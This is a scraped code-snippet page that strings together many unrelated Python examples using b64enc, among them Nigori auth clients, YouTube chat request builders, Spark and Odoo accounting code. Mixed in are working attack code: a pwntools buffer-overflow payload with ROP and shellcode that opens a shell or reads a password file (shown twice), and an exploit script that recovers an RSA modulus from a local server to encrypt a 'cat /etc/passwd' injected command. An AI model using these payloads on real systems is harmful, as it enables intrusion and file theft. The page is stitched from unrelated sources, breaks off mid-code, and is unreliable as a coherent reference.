示例#1
0
文件: client.py 项目: majacQ/nigori
 def authParams(self):
     # FIXME: include server name, user name in t
     t = "%d:%d" % (int(time.time()), random.SystemRandom().getrandbits(20))
     schnorr = self.keys.schnorr()
     (e, s) = schnorr.sign(t)
     params = {"user": self.user, "t": t, "e": b64enc(e), "s": b64enc(s)}
     return params
示例#2
0
 def authParams(self):
     # FIXME: include server name, user name in t
     t = "%d:%d" % (int(time.time()), random.SystemRandom().getrandbits(20))
     schnorr = self.keys.schnorr()
     (e, s) = schnorr.sign(t)
     params = {"user": self.user, "t": t, "e": b64enc(e), "s": b64enc(s)}
     return params
示例#3
0
def makeAuthParams(user, password):
    # FIXME: include server name, user name in t
    t = "%d:%d" % (int(time.time()), random.SystemRandom().getrandbits(20))
    keys = KeyDeriver(user, servername(), password)
    schnorr = keys.schnorr()
    (e, s) = schnorr.sign(t)
    params = {"user": user, "t": t, "e": b64enc(e), "s": b64enc(s)}
    return params
示例#4
0
def makeAuthParams(user, password):
  # FIXME: include server name, user name in t
  t = "%d:%d" % (int(time.time()), random.SystemRandom().getrandbits(20))
  keys = KeyDeriver(user, servername(), password)
  schnorr = keys.schnorr()
  (e,s) = schnorr.sign(t)
  params = {"user": user,
            "t": t,
            "e": b64enc(e),
            "s": b64enc(s)}
  return params
示例#5
0
def get_payload(flag_id, shell):
    # Create the payload
    context.arch = 'amd64'
    craft = shellcraft.amd64

    rop = pack('<Q', 0x00000000004027d9)   # jmp rsp ; ret
    if shell:
        shellcode = craft.linux.sh()
    else:
        shellcode = 'sub rsp, 255\n' # To handle struct stat
        shellcode += readfile( 
                "doc_root/htpass/%s" % b64enc(sha1(flag_id).digest()),
                1
                )                       # send the file to stdout
        shellcode += craft.linux.syscall('SYS_exit', 0)

    rop += asm(shellcode)

    for c in ['&', '\r', '\n']:
        if c in rop:
            print "Found %x in the shellcode" % ord(c)
            sys.exit(2)

    payload = "POST /test HTTP/1.0\r\n\r\nusername=%s&secret=%s&pass=%s\r\n"% \
            (_USER_, "A"*0xb8 + rop, _PASS_)
    return payload
示例#6
0
def _build(video_id, seektime, topchat_only):
    switch_01 = b'\x04' if topchat_only else b'\x01'
    if seektime < 0:
        raise ValueError("seektime must be greater than or equal to zero.")
    if seektime == 0:
        times = b''
    else:
        times = _nval(int(seektime * 1000))
    if seektime > 0:
        _len_time = (b'\x5A' + (len(times) + 1).to_bytes(1, 'big') + b'\x10')
    else:
        _len_time = b''

    header_magic = b'\xA2\x9D\xB0\xD3\x04'
    sep_0 = b'\x1A'
    vid = _gen_vid(video_id)
    _tag = b'\x40\x01'
    timestamp1 = times
    sep_1 = b'\x60\x04\x72\x02\x08'
    terminator = b'\x78\x01'

    body = [
        sep_0,
        _nval(len(vid)), vid, _tag, _len_time, timestamp1, sep_1, switch_01,
        terminator
    ]

    body = reduce(lambda x, y: x + y, body)

    return urllib.parse.quote(
        b64enc(header_magic + _nval(len(body)) + body).decode())
示例#7
0
def _header(video_id, channel_id) -> str:
    S1_3 = enc.rs(1, video_id)
    S1_5 = enc.rs(1, channel_id) + enc.rs(2, video_id)
    S1 = enc.rs(3, S1_3) + enc.rs(5, S1_5)
    S3 = enc.rs(48687757, enc.rs(1, video_id))
    header_replay = enc.rs(1, S1) + enc.rs(3, S3) + enc.nm(4, 1)
    return b64enc(header_replay)
示例#8
0
 def _jrdd(self):
     if self._jrdd_val:
         return self._jrdd_val
     func = self.func
     if not self._bypass_serializer and self.ctx.batchSize != 1:
         oldfunc = self.func
         batchSize = self.ctx.batchSize
         def batched_func(split, iterator):
             return batched(oldfunc(split, iterator), batchSize)
         func = batched_func
     cmds = [func, self._bypass_serializer]
     pipe_command = ' '.join(b64enc(cloudpickle.dumps(f)) for f in cmds)
     broadcast_vars = ListConverter().convert(
         [x._jbroadcast for x in self.ctx._pickled_broadcast_vars],
         self.ctx._gateway._gateway_client)
     self.ctx._pickled_broadcast_vars.clear()
     class_manifest = self._prev_jrdd.classManifest()
     env = MapConverter().convert(self.ctx.environment,
                                  self.ctx._gateway._gateway_client)
     includes = ListConverter().convert(self.ctx._python_includes,
                                  self.ctx._gateway._gateway_client)
     python_rdd = self.ctx._jvm.PythonRDD(self._prev_jrdd.rdd(),
         pipe_command, env, includes, self.preservesPartitioning, self.ctx.pythonExec,
         broadcast_vars, self.ctx._javaAccumulator, class_manifest)
     self._jrdd_val = python_rdd.asJavaRDD()
     return self._jrdd_val
示例#9
0
def _gen_vid(video_id):
    """generate video_id parameter.
    Parameter
    ---------
        video_id : str

    Return
    ---------
    byte[] : base64 encoded video_id parameter.
    """
    header_magic = b'\x0A\x0F\x0A\x0D\x0A'
    header_id = video_id.encode()
    header_sep_1 = b'\x1A'
    header_sep_2 = b'\x43\xAA\xB9\xC1\xBD\x01\x3D\x0A'
    header_suburl = ('https://www.youtube.com/live_chat?v='
                     f'{video_id}&is_popout=1').encode()
    header_terminator = b'\x20\x02'

    item = [
        header_magic,
        _nval(len(header_id)), header_id, header_sep_1, header_sep_2,
        _nval(len(header_suburl)), header_suburl, header_terminator
    ]

    return urllib.parse.quote(
        b64enc(reduce(lambda x, y: x + y, item)).decode()).encode()
示例#10
0
def _build(video_id, channel_id, ts1, ts2, ts3, ts4, ts5, topchat_only) -> str:
    chattype = 4 if topchat_only else 1

    b1 = enc.nm(1, 0)
    b2 = enc.nm(2, 0)
    b3 = enc.nm(3, 0)
    b4 = enc.nm(4, 0)
    b7 = enc.rs(7, '')
    b8 = enc.nm(8, 0)
    b9 = enc.rs(9, '')
    timestamp2 = enc.nm(10, ts2)
    b11 = enc.nm(11, 3)
    b15 = enc.nm(15, 0)

    header = enc.rs(3, _header(video_id, channel_id))
    timestamp1 = enc.nm(5, ts1)
    s6 = enc.nm(6, 0)
    s7 = enc.nm(7, 0)
    s8 = enc.nm(8, 1)
    body = enc.rs(9, b''.join(
        (b1, b2, b3, b4, b7, b8, b9, timestamp2, b11, b15)))
    timestamp3 = enc.nm(10, ts3)
    timestamp4 = enc.nm(11, ts4)
    s13 = enc.nm(13, chattype)
    chattype = enc.rs(16, enc.nm(1, chattype))
    s17 = enc.nm(17, 0)
    str19 = enc.rs(19, enc.nm(1, 0))
    timestamp5 = enc.nm(20, ts5)
    entity = b''.join((header, timestamp1, s6, s7, s8, body, timestamp3,
                       timestamp4, s13, chattype, s17, str19, timestamp5))
    continuation = enc.rs(119693434, entity)
    return quote(b64enc(continuation).decode())
def get_payload(flag_id, shell):
    # Create the payload
    context.arch = 'amd64'
    craft = shellcraft.amd64

    rop = pack('<Q', 0x00000000004027d9)   # jmp rsp ; ret
    if shell:
        shellcode = craft.linux.sh()
    else:
        shellcode = 'sub rsp, 255\n' # To handle struct stat
        shellcode += readfile( 
                "doc_root/htpass/%s" % b64enc(sha1(flag_id).digest()),
                1
                )                       # send the file to stdout
        shellcode += craft.linux.syscall('SYS_exit', 0)

    rop += asm(shellcode)

    for c in ['&', '\r', '\n']:
        if c in rop:
            print "Found %x in the shellcode" % ord(c)
            sys.exit(2)

    payload = "POST /test HTTP/1.0\r\n\r\nusername=%s&secret=%s&pass=%s\r\n"% \
            (_USER_, "A"*0xb8 + rop, _PASS_)
    return payload
示例#12
0
def _build(video_id, seektime, topchat_only):
    switch_01 = b'\x04' if topchat_only else b'\x01'
    if seektime < 0:
        times = _nval(0)
        switch = b'\x04'
    elif seektime == 0:
        times = _nval(1)
        switch = b'\x03'
    else:
        times = _nval(int(seektime * 1000000))
        switch = b'\x03'
    parity = b'\x00'

    header_magic = b'\xA2\x9D\xB0\xD3\x04'
    sep_0 = b'\x1A'
    vid = _gen_vid(video_id)
    time_tag = b'\x28'
    timestamp1 = times
    sep_1 = b'\x30\x00\x38\x00\x40\x00\x48'
    sep_2 = b'\x52\x1C\x08\x00\x10\x00\x18\x00\x20\x00'
    chkstr = b'\x2A\x0E\x73\x74\x61\x74\x69\x63\x63\x68\x65\x63\x6B\x73\x75\x6D\x40'
    sep_3 = b'\x00\x58\x03\x60'
    sep_4 = b'\x68' + parity + b'\x72\x04\x08'
    sep_5 = b'\x10' + parity + b'\x78\x00'
    body = [
        sep_0,
        _nval(len(vid)), vid, time_tag, timestamp1, sep_1, switch, sep_2,
        chkstr, sep_3, switch_01, sep_4, switch_01, sep_5
    ]

    body = reduce(lambda x, y: x + y, body)

    return urllib.parse.quote(
        b64enc(header_magic + _nval(len(body)) + body).decode())
示例#13
0
    def _jrdd(self):
        if self._jrdd_val:
            return self._jrdd_val
        func = self.func
        if not self._bypass_serializer and self.ctx.batchSize != 1:
            oldfunc = self.func
            batchSize = self.ctx.batchSize

            def batched_func(split, iterator):
                return batched(oldfunc(split, iterator), batchSize)

            func = batched_func
        cmds = [func, self._bypass_serializer]
        pipe_command = ' '.join(b64enc(cloudpickle.dumps(f)) for f in cmds)
        broadcast_vars = ListConverter().convert(
            [x._jbroadcast for x in self.ctx._pickled_broadcast_vars],
            self.ctx._gateway._gateway_client)
        self.ctx._pickled_broadcast_vars.clear()
        class_manifest = self._prev_jrdd.classManifest()
        env = MapConverter().convert(self.ctx.environment,
                                     self.ctx._gateway._gateway_client)
        includes = ListConverter().convert(self.ctx._python_includes,
                                           self.ctx._gateway._gateway_client)
        python_rdd = self.ctx._jvm.PythonRDD(
            self._prev_jrdd.rdd(), pipe_command, env, includes,
            self.preservesPartitioning, self.ctx.pythonExec, broadcast_vars,
            self.ctx._javaAccumulator, class_manifest)
        self._jrdd_val = python_rdd.asJavaRDD()
        return self._jrdd_val
示例#14
0
文件: app.py 项目: Faralaks/massage
def addNew():
    if not session.get('login'): return redirect(url_for('login'))
    db = get_db()
    cur = db.cursor()
    if session["login"] == LOGIN:
        if form_get('fam', None) is None or form_get(
                'grade', None) is None or form_get(
                    'fam', None) == '' or form_get('grade', None) == '':
            return h1.format('Не получено имя или класс ученика')
        cur.execute('INSERT INTO people VALUES (?,0,?)',
                    (cap(form('fam')) + ' — ' + up(form('grade')), None))
    else:
        if request.files.get('file') is None:
            return h1.format('Не загружен файл')
        file = request.files['file']
        stream = BytesIO()
        file.save(stream)
        wb = load_workbook(filename=stream)
        ws = wb.active
        i = 1
        while True:
            name = ws["A" + str(i)].value
            grade = ws["B" + str(i)].value
            if not name: break

            cur.execute('INSERT INTO kinders VALUES (?,?,?)', [
                b64enc((name + " " + grade).encode("utf-8")).decode("utf-8"),
                name, grade
            ])
            i += 1

    db.commit()
    return redirect(url_for('index'))
示例#15
0
def custom_rsa_encrypt(public_key, data):
	public_key = PKCS1_v1_5.new(public_key)
	chunk_result = chunk_data(data)
	result = b""
	for dt in chunk_result:
		b_dt = str.encode(dt)
		result += b64enc(public_key.encrypt(b_dt)) + b"$"
	return result
示例#16
0
def check(n):
    sys.stdout.write('\rMODULUS: {:x} '.format(n))
    resp = requests.get('http://127.0.0.1:5000/?cmd={}'.format(
        b64enc(l2b(n)).decode()))
    if 'Ciphertext too large' in resp.text:
        return True
    if 'Ciphertext with incorrect length' in resp.text:
        return True
    return False
示例#17
0
文件: lib.py 项目: ace0/xcheck
def createJee(pubkey, encMsg):
    """
    Packages a ciphertext into a JSON encryption envelope. Example:
    { 
        "typ": "jee",
        "alg": "RSA-PKCS1-OAEP-AES128-GCM",
        "pk_fp_alg": "PEM-SHA256",
        "pk_fp": "base64=",
        "enc_data": "base64="
    }
    """
    env = {
        "typ": "jee",
        "alg": "RSA-PKCS1-OAEP-AES128-GCM",
        "pk_fp_alg": "PEM-SHA256",
        "pk_fp": b64enc(pkFingerprint(pubkey)),
        "enc_msg": b64enc(encMsg)
    }
    return json.dumps(env)
示例#18
0
def index():
    command = request.args.get('cmd')
    if command is None:
        command = b64enc(encrypt(b'ping -c 4 127.0.0.1'))
        return render_template('index.html', command=command.decode())
    try:
        output = execute(decrypt(b64dec(command)).decode())
    except Exception as err:
        return render_template('index.html', command=command, error=err)
    return render_template('index.html', command=command, output=output)
示例#19
0
def encrypt(text):
    '''generates an encrypted version of text.  The encryption is salted using the pad_len characters
    that randomly make up the front of the resulting string.  The string is base64 encoded, and url escaped
    so as to be suitable to be used as a GET parameter'''
    randstr = ''.join(choice('1234567890abcdefghijklmnopqrstuvwxyz' +
                             'ABCDEFGHIJKLMNOPQRSTUVWXYZ+/')
                      for x in xrange(pad_len))
    cip = cipher(randstr)
    text = b64enc(cip.encrypt(pkcs5pad(text, key_len)))
    return quote_plus(randstr + text, safe='')
示例#20
0
def encrypt(text):
    '''generates an encrypted version of text.  The encryption is salted using the pad_len characters
    that randomly make up the front of the resulting string.  The string is base64 encoded, and url escaped
    so as to be suitable to be used as a GET parameter'''
    randstr = ''.join(choice('1234567890abcdefghijklmnopqrstuvwxyz' +
                             'ABCDEFGHIJKLMNOPQRSTUVWXYZ+/')
                      for x in xrange(pad_len))
    cip = cipher(randstr)
    text = b64enc(cip.encrypt(pkcs5pad(text, key_len)))
    return quote_plus(randstr + text, safe='')
示例#21
0
def register(user, password):
  keys = KeyDeriver(user, servername(), password)
  schnorr = keys.schnorr()
  public = b64enc(schnorr.public())
  params = urllib.urlencode({"user": user, "publicKey": public})
  headers = {"Content-Type": "application/x-www-form-urlencoded",
             "Accept": "text/plain" }
  conn = connect()
  conn.request("POST", "/register", params, headers)
  response = conn.getresponse()
  print response.status, response.reason
  print response.read()
示例#22
0
文件: lib.py 项目: ace0/xcheck
def protectEntry(name1, name2, birthdate, debug=False):
    """
    Protects a single record of demographic info by applying SHA512.
    """
    assert (type(birthdate) is date)
    name = "".join([x for x in [name1, name2] if x is not None])
    sha = SHA512.new(data=name)
    sha.update(birthdate.isoformat())

    if debug:
        print name + birthdate.isoformat()

    return b64enc(sha.digest())
示例#23
0
def add(user, password, type, name, value, use_des = 0):
  params = makeAuthParams(user, password)
  keys = KeyDeriver(user, servername(), password, use_des)
  params['name'] = keys.permute(concat([int2bin(type), name]))
  params['value'] = b64enc(keys.encrypt(value))
  params = urllib.urlencode(params)
  headers = {"Content-Type": "application/x-www-form-urlencoded",
             "Accept": "text/plain" }
  conn = connect()
  conn.request("POST", "/add-resource", params, headers)
  response = conn.getresponse()
  print response.status, response.reason
  print response.read()
示例#24
0
文件: nagifo.py 项目: dlobue/nagifo
def notifo_notify(user, key, ntype, host, state, service_desc, rest):
    title = '%s %s' % (ntype, host)
    msg = '%s - %s, %s' % (state, service_desc, rest)
    
    if config is not None:
        sechash = generate_hash(user, host, service_desc)
        ackurl = 'http://%s/%s' % (external_url, b64enc('/'.join([sechash, user, host,
                                                              service_desc])))
    else:
        ackurl = None
    
    nt = Notifo(user, key)
    nt.send_notification(msg=msg, label='nagios', title=title, uri=ackurl)
示例#25
0
def register(user, password):
    keys = KeyDeriver(user, servername(), password)
    schnorr = keys.schnorr()
    public = b64enc(schnorr.public())
    params = urllib.urlencode({"user": user, "publicKey": public})
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/plain"
    }
    conn = connect()
    conn.request("POST", "/register", params, headers)
    response = conn.getresponse()
    print response.status, response.reason
    print response.read()
示例#26
0
def add(user, password, type, name, value, use_des=0):
    params = makeAuthParams(user, password)
    keys = KeyDeriver(user, servername(), password, use_des)
    params['name'] = keys.permute(concat([int2bin(type), name]))
    params['value'] = b64enc(keys.encrypt(value))
    params = urllib.urlencode(params)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/plain"
    }
    conn = connect()
    conn.request("POST", "/add-resource", params, headers)
    response = conn.getresponse()
    print response.status, response.reason
    print response.read()
示例#27
0
def _build(video_id, seektime, topchat_only, channel_id) -> str:
    chattype = 4 if topchat_only else 1
    if seektime < 0:
        seektime = 0
    timestamp = int(seektime * 1000000)
    header = enc.rs(3, _header(video_id, channel_id))
    timestamp = enc.nm(5, timestamp)
    s6 = enc.nm(6, 0)
    s7 = enc.nm(7, 0)
    s8 = enc.nm(8, 0)
    s9 = enc.nm(9, 4)
    s10 = enc.rs(10, enc.nm(4, 0))
    chattype = enc.rs(14, enc.nm(1, 4))
    s15 = enc.nm(15, 0)
    entity = b''.join((header, timestamp, s6, s7, s8, s9, s10, chattype, s15))
    continuation = enc.rs(156074452, entity)
    return quote(b64enc(continuation).decode())
示例#28
0
文件: pwd_cls.py 项目: daringer/mmpy
    def hash(self):
        if self._hashed_pwd is None:
            pwd = self._pwd[:]
            if not isinstance(self._pwd, bytes):
                pwd = self._pwd.encode("utf-8")

            if self.salt is not None:
                if not isinstance(self.salt, bytes):
                    self.salt = self.salt.encode("utf-8")
                pwd = self.salt + pwd

            if self.hash_method == "sha256":
                self._hashed_pwd = b64enc(sha256(pwd).digest()).decode()
            else:
                raise NotImplementedError("unknown password hash method")

        return self._hashed_pwd
示例#29
0
def _gen_vid(video_id):
    """generate video_id parameter.
    Parameter
    ---------
        video_id : str

    Return
    ---------
        bytes : base64 encoded video_id parameter.
    """
    header_magic = b'\x0A\x0F\x1A\x0D\x0A'
    header_id = video_id.encode()
    header_terminator = b'\x20\x01'

    item = [header_magic, _nval(len(header_id)), header_id, header_terminator]

    return urllib.parse.quote(
        b64enc(reduce(lambda x, y: x + y, item)).decode()).encode()
示例#30
0
def _build(video_id, _ts1, _ts2, _ts3, _ts4, _ts5, topchat_only):
    # _short_type2
    switch_01 = b'\x04' if topchat_only else b'\x01'
    parity = _tzparity(video_id, _ts1 ^ _ts2 ^ _ts3 ^ _ts4 ^ _ts5)

    header_magic = b'\xD2\x87\xCC\xC8\x03'
    sep_0 = b'\x1A'
    vid = _gen_vid(video_id)
    time_tag = b'\x28'
    timestamp1 = _nval(_ts1)
    sep_1 = b'\x30\x00\x38\x00\x40\x02\x4A'
    un_len = b'\x2B'
    sep_2 = b'\x08' + parity + b'\x10\x00\x18\x00\x20\x00'
    chkstr = b'\x2A\x0E\x73\x74\x61\x74\x69\x63\x63\x68\x65\x63\x6B\x73\x75\x6D'
    sep_3 = b'\x3A\x00\x40\x00\x4A'
    sep_4_len = b'\x02'
    sep_4 = b'\x08\x01'
    ts_2_start = b'\x50'
    timestamp2 = _nval(_ts2)
    ts_2_end = b'\x58'
    sep_5 = b'\x03'
    ts_3_start = b'\x50'
    timestamp3 = _nval(_ts3)
    ts_3_end = b'\x58'
    timestamp4 = _nval(_ts4)
    sep_6 = b'\x68'
    # switch
    sep_7 = b'\x82\x01\x04\x08'
    # switch
    sep_8 = b'\x10\x00'
    sep_9 = b'\x88\x01\x00\xA0\x01'
    timestamp5 = _nval(_ts5)

    body = b''.join([
        sep_0,
        _nval(len(vid)), vid, time_tag, timestamp1, sep_1, un_len, sep_2,
        chkstr, sep_3, sep_4_len, sep_4, ts_2_start, timestamp2, ts_2_end,
        sep_5, ts_3_start, timestamp3, ts_3_end, timestamp4, sep_6, switch_01,
        sep_7, switch_01, sep_8, sep_9, timestamp5
    ])

    return urllib.parse.quote(
        b64enc(header_magic + _nval(len(body)) + body).decode())
 def _validate_xml(self, cr, uid, schema, xmlTree, filename):
     validationResult = 'val_done'
     schema_path = self._find_file_in_addons('asti_eaccounting_mx_base/sat_xsd', schema)
     try:
         schema_file = open(schema_path, 'r')
     except IOError:
         raise osv.except_osv('Esquema XSD no encontrado', u'El esquema de validaci\xf3n de SAT no fue encontrado en la ruta "%s"' % schema_path[0:schema_path.find(schema)])
     schemaXml = et.parse(schema_file)
     try:
         schema = et.XMLSchema(schemaXml)
     except et.XMLSchemaParseError:
         if 'accounts_catalog' in schema_path:
             newLocation = schema_path.replace('accounts_catalog', 'complex_types')
         elif 'vouchers' in schema_path:
             newLocation = schema_path.replace('vouchers', 'complex_types')
         else:
             newLocation = schema_path.replace('helpers', 'complex_types')
         schemaXml.find('{http://www.w3.org/2001/XMLSchema}import').attrib['schemaLocation'] = newLocation
         try:
             schema = et.XMLSchema(schemaXml)
             validationResult = 'val_xcpt'
         except:
             schema = None
     if schema is None:
         raise osv.except_osv(u'Error al cargar esquema de validaci\xf3n', 'Por favor realize nuevamente el procesamiento del archivo.')
     try:
         schema.assertValid(xmlTree)
         return validationResult
     except et.DocumentInvalid as ex:
         error_haul = u'Los siguientes errores fueron encontrados:\n\n'
         error_haul += u'\n'.join([ u'L\xednea: %s\nTipo: %s\nMensaje: %s\n**********' % (err.line, err.type_name, err.message) for err in ex.error_log ])
         xsdhandler_id = self.pool.get('xsdvalidation.handler.wizard').create(cr, uid, {'error_file': b64enc(error_haul.encode('UTF-8')),
          'error_filename': 'errores.txt',
          'sample_xml': b64enc(self._outputXml(xmlTree)),
          'sample_xmlname': filename})
         return {'type': 'ir.actions.act_window',
          'res_model': 'xsdvalidation.handler.wizard',
          'res_id': xsdhandler_id,
          'view_mode': 'form',
          'view_type': 'form',
          'target': 'new',
          'name': 'La validaci\xc3\xb3n del archivo generado fall\xc3\xb3.'}
示例#32
0
文件: lib.py 项目: ace0/xcheck
def decodeAndVerifyJee(pubkey, jeeText):
    """
    Parses and verifies a JSON encryption envelope against our default settings.
    Verifies the pubkey fingerprint against the pubkey provided.    
    @return enc_data
    @raise FileProcessingError if any problems are found
    """
    env = {}
    try:
        env = json.loads(jeeText)
    except ValueError as e:
        raise FileProcessingError("Failed to parse JSON: " + str(e))

    expectedFpB64 = b64enc(pkFingerprint(pubkey))

    # Probes the env dictionary for an expected k,v pair
    def check(k, v):
        return k in env and env[k] == v

    # Check for expected fields and values
    if not check("typ", "jee"):
        raise FileProcessingError("Unknown packaging type -- expected typ=jee")

    if not check("alg", "RSA-PKCS1-OAEP-AES128-GCM"):
        raise FileProcessingError(
            "Unknown encryption algorithm -- expected alg='RSA-PKCS1-OAEP-AES128-GCM'"
        )

    if not check("pk_fp_alg", "PEM-SHA256"):
        raise FileProcessingError(
            "Unknown public key fingerprint algorithm -- expected pk_fp_alg='PEM-SHA256'"
        )

    if not check("pk_fp", expectedFpB64):
        raise FileProcessingError("Public key fingerprint mismatch.")

    if not "enc_msg" in env or len(env["enc_msg"]) == 0:
        raise FileProcessingError(
            "Encrypted message is missing or empty (enc_msg)")

    return b64dec(str(env["enc_msg"]))
示例#33
0
 def do_zip(self, cr, uid, ids, context):
     form = self.browse(cr, uid, ids)[0]
     (descriptor, zipname) = tempfile.mkstemp("eaccount_", "__asti_")
     zipDoc = ZipFile(zipname, "w")
     xmlContent = b64dec(form.stamped_file) if form.stamped_file else b64dec(form.primary_file)
     zipDoc.writestr(form.filename, xmlContent, zipfile.ZIP_DEFLATED)
     zipDoc.close()
     os.close(descriptor)
     filename = self.pool.get("res.users").browse(cr, uid, uid).company_id.rfc + str(form.year) + form.month
     if form.xml_target == "accounts_catalog":
         filename += "CT"
     elif form.xml_target == "trial_balance":
         filename += "B" + form.trial_delivery
     elif form.xml_target == "vouchers":
         filename += "PL"
     elif form.xml_target == "helpers":
         filename += "XF"
     filename += ".zip"
     self.write(
         cr, uid, ids, {"state": "zip_done", "zipped_file": b64enc(open(zipname, "rb").read()), "filename": filename}
     )
     return self._reopen_wizard(ids[0])
 def do_zip(self, cr, uid, ids, context):
     form = self.browse(cr, uid, ids)[0]
     (descriptor, zipname,) = tempfile.mkstemp('eaccount_', '__asti_')
     zipDoc = ZipFile(zipname, 'w')
     xmlContent = b64dec(form.stamped_file) if form.stamped_file else b64dec(form.primary_file)
     zipDoc.writestr(form.filename, xmlContent, zipfile.ZIP_DEFLATED)
     zipDoc.close()
     os.close(descriptor)
     filename = self.pool.get('res.users').browse(cr, uid, uid).company_id.rfc + str(form.year) + form.month
     if form.xml_target == 'accounts_catalog':
         filename += 'CT'
     elif form.xml_target == 'trial_balance':
         filename += 'B' + form.trial_delivery
     elif form.xml_target == 'vouchers':
         filename += 'PL'
     elif form.xml_target == 'helpers':
         filename += 'XF'
     filename += '.zip'
     self.write(cr, uid, ids, {'state': 'zip_done',
      'zipped_file': b64enc(open(zipname, 'rb').read()),
      'filename': filename})
     return self._reopen_wizard(ids[0])
示例#35
0
def _build(video_id, seektime, topchat_only) -> str:
    chattype = 4 if topchat_only else 1
    fetch_before_start = 3
    timestamp = 1000
    if seektime < 0:
        fetch_before_start = 4
    elif seektime == 0:
        timestamp = 1000
    else:
        timestamp = int(seektime * 1000000)
    header = enc.rs(3, _header(video_id))
    timestamp = enc.nm(5, timestamp)
    s6 = enc.nm(6, 0)
    s7 = enc.nm(7, 0)
    s8 = enc.nm(8, 0)
    s9 = enc.nm(9, fetch_before_start)
    s10 = enc.rs(10, enc.nm(4, 0))
    chattype = enc.rs(14, enc.nm(1, chattype))
    s15 = enc.nm(15, 0)
    entity = b''.join((header, timestamp, s6, s7, s8, s9, s10, chattype, s15))
    continuation = enc.rs(156074452, entity)
    return quote(b64enc(continuation).decode())
示例#36
0
def _header(video_id) -> str:
    return b64enc(enc.rs(1, enc.rs(1, enc.rs(1, video_id))) + enc.nm(4, 1))
示例#37
0
文件: client.py 项目: majacQ/nigori
 def permute(self, plain):
     iv = ""
     for i in range(self.ivBytes()):
         iv = iv + ("%c" % 0)
     return b64enc(self.encryptWithIV(plain, iv))
示例#38
0
文件: auth.py 项目: anantn/appsync
def create_auth(assertion, username, token):

    auth = 'AppSync %s:%s:%s' % (b64enc(assertion), b64enc(username),
                                 b64enc(token))
    return auth
示例#39
0
            return med
        return binary_search(inf, med)
    else:
        if (sup - inf) <= 2:
            return sup
        return binary_search(med, sup)


resp = requests.get('http://127.0.0.1:5000/')
matchs = re.findall('value="([^"]+)" name="cmd"', resp.text)

inf = b2l(b64dec(matchs[0]))
sup = 2 * inf
while not check(sup):
    inf = sup
    sup = 2 * inf

e = 0x10001
n = binary_search(inf, sup)
sys.stdout.write('\rMODULUS: {:x} \n'.format(n))

pubkey = RSA.construct((n, e))
print(pubkey.export_key().decode())

command = b'cat /etc/passwd'
if len(sys.argv) > 1:
    command = sys.argv[1].encode()
cipher = PKCS1_OAEP.new(pubkey)
payload = b64enc(cipher.encrypt(command)).decode()
print('PAYLOAD: {}'.format(payload))
    def process_file(self, cr, uid, ids, context, account_ids = None, balance_ids = None, moveIds = None):
        form = self.browse(cr, uid, ids)[0]
        user = self.pool.get('res.users').browse(cr, uid, uid)
        if len(user.company_id.rfc) < 12 or len(user.company_id.rfc) > 13 or not _RFC_PATTERN.match(user.company_id.rfc):
            raise osv.except_osv(u'Datos de compa\xf1ia err\xf3neos', u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT.' % user.company_id.rfc)
        if form.year < 2015:
            raise osv.except_osv('Fecha fuera de rango', 'La contabilidad electr\xc3\xb3nica comienza a reportarse a partir del 2015.')
        if not user.company_id.rfc:
            raise osv.except_osv(u'Informaci\xf3n faltante', 'No se ha configurado un R.F.C. para la empresa')
        periodObj = self.pool.get('account.period')
        period_ids = periodObj.search(cr, uid, [('code', '=', form.month + '/' + str(form.year)), ('company_id', '=', user.company_id.id)])
        if not len(period_ids):
            raise osv.except_osv(u'Informaci\xf3n faltante', u'El per\xedodo especificado no fue encontrado. Compruebe que los c\xf3digos de sus per\xedodos fiscales tienen el formato "mm/aaaa"')
        period_id = periodObj.browse(cr, uid, period_ids[0])
        if form.xml_target == 'accounts_catalog':
            accountObj = self.pool.get('account.account')
            if account_ids is None:
                account_ids = accountObj.search(cr, uid, [('take_for_xml', '=', True), ('company_id', '=', user.company_id.id)])
            if form.format == 'pdf':
                report_action = {'type': 'ir.actions.report.xml'}
                if tools.config['workers'] == 0:
                    self._verify_report_existance(cr, uid, 'jasper.ceCatalogosContables')
                    report_action['report_name'] = 'jasper.ceCatalogosContables'
                    report_action['datas'] = {'ids': account_ids,
                     'model': 'account.account',
                     'report_type': 'pdf',
                     'parameters': {'period': self._LETTER_PERIODS[form.month] + str(form.year),
                                    'rfc': user.company_id.rfc}}
                else:
                    report_action['report_name'] = 'rml.ceCatalogosContables'
                    report_action['datas'] = {'ids': account_ids,
                     'model': 'account.account',
                     'form': 'data'}
                    report_action['context'] = {'period': self._LETTER_PERIODS[form.month] + str(form.year),
                     'rfc': user.company_id.rfc}
                return report_action
            accounts = accountObj.browse(cr, uid, account_ids)
            ctas = []
            for acc in accounts:
                if not acc.sat_code_id:
                    raise osv.except_osv(u'Informaci\xf3n faltante', u'La cuenta %s no tiene asociado un c\xf3digo agrupador del SAT' % acc.name_get())
                if acc.first_period_id.date_start <= period_id.date_start:
                    ctaAttrs = [('CodAgrup', acc.sat_code_id.key),
                     ('NumCta', acc.code[0:100]),
                     ('Desc', acc.name[0:400]),
                     ('Nivel', acc.level + 1 if acc.level else 1),
                     ('Natur', 'A' if acc.in_cred else 'D')]
                    if acc.parent_id:
                        ctaAttrs.append(('SubCtaDe', acc.parent_id.code[0:100]))
                    ctas.append(('Ctas', ctaAttrs))

            if not len(ctas):
                raise osv.except_osv(u'Archivo vac\xedo', u'No se encontraron cuentas para XML cuyo primer per\xedodo reportado sea mayor o igual al per\xedodo procesado.')
            xml_content = ('Catalogo', [('Version', '1.1'),
              ('RFC', user.company_id.rfc),
              ('Mes', period_id.date_start[5:7]),
              ('Anio', period_id.date_start[0:4]),
              ('unroot', ctas)])
            catalog_ns = self._SAT_NS.copy()
            catalog_ns['catalogocuentas'] = self._ACCOUNTS_CATALOG_URI
            xmlTree = self._xml_from_dict(xml_content, catalog_ns, self._ACCOUNTS_CATALOG_URI)
            xmlTree.attrib['{{{pre}}}schemaLocation'.format(pre=self._XSI_DECLARATION)] = '%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/CatalogoCuentas/CatalogoCuentas_1_1.xsd' % self._ACCOUNTS_CATALOG_URI
        elif form.xml_target == 'trial_balance':
            if form.format == 'pdf':
                self._verify_report_existance(cr, uid, 'jasper.ceBalanzaComprobacion')
            if balance_ids is None:
                trialWizardObj = self.pool.get('account.monthly_balance_wizard')
                trial_balance_id = trialWizardObj.create(cr, uid, 
                                                         {'chart_account_id': form.accounts_chart.id,
                                                         'company_id'       : user.company_id.id,
